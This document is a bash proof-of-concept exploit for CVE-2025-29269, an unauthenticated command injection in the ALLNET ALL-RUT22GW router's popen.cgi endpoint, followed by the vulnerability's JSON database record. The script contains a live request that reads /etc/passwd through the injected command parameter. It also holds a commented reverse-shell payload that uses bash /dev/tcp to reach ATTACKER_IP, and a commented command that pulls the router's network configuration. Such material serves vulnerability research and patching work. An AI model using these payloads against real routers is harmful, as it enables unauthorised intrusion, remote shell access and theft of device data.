CVE-2025-29269

#!/bin/bash # CVE-2025-29269 PoC - ALLNET ALL-RUT22GW OS Command Injection # Target: ALLNET ALL-RUT22GW router popen.cgi endpoint TARGET="http://TARGET_IP" # Modify TARGET_IP to the actual router IP address # PoC 1: Basic command injection to test vulnerability echo "[*] Testing CVE-2025-29269 on $TARGET" curl -s "${TARGET}/cgi-bin/popen.cgi?command=cat+/etc/passwd" # PoC 2: Reverse shell payload (attacker needs to set up listener) # Replace ATTACKER_IP and ATTACKER_PORT with actual values # ATTACKER_IP="<your_ip>" # ATTACKER_PORT="<your_port>" # curl -s "${TARGET}/cgi-bin/popen.cgi?command=bash+-i+>%26+/dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT}+0>%261" # PoC 3: Exfiltrate router configuration # curl -s "${TARGET}/cgi-bin/popen.cgi?command=cat+/etc/config/network" echo "[+] PoC execution completed"

{"cve": {"id": "CVE-2025-29269", "sourceIdentifier": "[email protected]", "published": "2025-12-04T20:16:17.930", "lastModified": "2025-12-16T15:57:03.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALLNET ALL-RUT22GW v3.3.8 was discovered to contain an OS command injection vulnerability via the command parameter in the popen.cgi endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:allnet:all-rut22gw_firmware:3.3.8:*:*:*:*:*:*:*", "matchCriteriaId": "BF4D5144-0780-414F-9CEB-56B2617FF569"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:allnet:all-rut22gw:-:*:*:*:*:*:*:*", "matchCriteriaId": "2041A241-BCD2-4CB4-A7B1-B09A730EE926"}]}]}], "references": [{"url": "http://all-rut22gw.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://allnet.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://blog.byteray.co.uk/critical-vulnerabilities-in-rut22gw-industrial-lte-cellular-routers-f4eb8768feb7?gi=f74ff4eb9f22", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}